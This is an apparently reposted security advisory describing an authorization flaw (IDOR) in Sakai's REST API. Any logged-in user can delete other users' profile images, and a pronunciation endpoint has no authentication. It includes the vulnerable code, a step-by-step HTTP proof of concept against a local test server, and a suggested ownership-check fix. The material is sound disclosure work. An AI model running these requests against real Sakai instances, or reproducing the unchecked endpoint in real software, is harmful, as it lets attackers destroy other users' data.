Sakai Profile Image Deletion has an IDOR
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N상세 설명
Summary
The Sakai REST API endpoint DELETE /api/users/{userId}/profile/image does not verify that the requesting user is authorized to modify the target user's profile. Any authenticated user can delete the profile image of any other user, including administrators, by supplying a different userId in the path. The service layer has no authorization check, and the delete cascades through Content Hosting Service (CHS) with a security advisor that bypasses all CHS permission checks.
Details
ProfileController.removeProfileImage() in the webapi module retrieves the current user's session but performs no comparison between the authenticated user and the target userId path parameter:
1@DeleteMapping(value = "/users/{userId}/profile/image") 2public ResponseEntity<String> removeProfileImage(@PathVariable String userId) { 3 String currentUserId = checkSakaiSession().getUserId(); 4 if (currentUserId == null) { 5 return ResponseEntity.status(HttpStatus.FORBIDDEN).build(); 6 } 7 profileService.removeProfileImage(userId); // userId is attacker-controlled 8 return ResponseEntity.ok().build(); 9}ProfileServiceImpl.removeProfileImage() delegates directly to dao.removeProfileImage(userUuid) with no authorization check. The DAO calls profileImageUploadedRepository.deleteById(userId), removing the profile_images_t row unconditionally.
For contrast, the upload endpoint setProfileImage() correctly verifies ownership:
1if (!sakaiProxy.isSuperUser() && !StringUtils.equals(currentUserUuid, userUuid)) { 2 throw new SecurityException("Not allowed to save."); 3}This asymmetry means any authenticated user can delete but not upload over another user's profile image.
Additionally, the pronunciation recording delete endpoint (DELETE /api/users/{userId}/profile/pronunciation) has no checkSakaiSession() call at all, making it accessible without any authentication.
Setup:
- Admin user:
admin, with a custom profile image uploaded - Attacker:
student2(unprivileged user, SAKAIID cookie from authenticated session)
Step 1 - Admin uploads profile image (confirm non-default state):
1POST /api/users/admin/profile/image HTTP/1.1 2Cookie: SAKAIID=<admin-session> 3Content-Type: application/x-www-form-urlencoded 4 5base64=<base64-encoded-png>Response: {"status":"SUCCESS"}
Step 2 - Verify image exists in database:
1SELECT USER_UUID, RESOURCE_MAIN FROM profile_images_t WHERE USER_UUID='admin'; 2-- Result: admin | /private/profileImages/admin/1/eb92b129-9b00-4978-aec3-be840455d8e9Step 3 - Attacker (student2) deletes admin's profile image:
1DELETE /api/users/admin/profile/image HTTP/1.1 2Host: localhost:9107 3Cookie: SAKAIID=974996f4-e9c1-441c-9ab9-d3646aa5c754.9799861f31fbResponse: HTTP/1.1 200
Step 4 - Verify image is gone from database:
1SELECT USER_UUID, RESOURCE_MAIN FROM profile_images_t WHERE USER_UUID='admin'; 2-- Result: (empty - row deleted)The attack succeeds. Student2's session is accepted by checkSakaiSession() (non-blank userId), and the target userId (admin) is passed directly to the service without any ownership check.
Impact
Any authenticated user (student, guest) can:
- Permanently delete the profile image of any other user, including administrators and instructors
- Repeatedly trigger deletion to prevent a target user from maintaining a profile picture
- In a university context where profile photos are used for identity verification in proctored exams or student directories, this could disrupt identity management workflows
The attack is trivially scriptable and can target all users on the platform in bulk.
Suggested Remediation
In ProfileController.removeProfileImage(), add an ownership check before calling the service:
1@DeleteMapping(value = "/users/{userId}/profile/image") 2public ResponseEntity<String> removeProfileImage(@PathVariable String userId) { 3 Session session = checkSakaiSession(); 4 String currentUserId = session.getUserId(); 5 if (currentUserId == null) { 6 return ResponseEntity.status(HttpStatus.FORBIDDEN).build(); 7 } 8 // Add this check: 9 if (!sakaiProxy.isSuperUser() && !currentUserId.equals(userId)) {10 return ResponseEntity.status(HttpStatus.FORBIDDEN).build();11 }12 profileService.removeProfileImage(userId);13 return ResponseEntity.ok().build();14}Apply the same ownership check in ProfileServiceImpl.removeProfileImage() for defense-in-depth, mirroring the pattern in setProfileImage().
For the pronunciation endpoint, add checkSakaiSession() and the same ownership check.
Status / timeline:
- 2026-06-02: Fix committed to master (
a092dbf3dc6bf343131f50007c207a9abd95e852) - Release pending.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.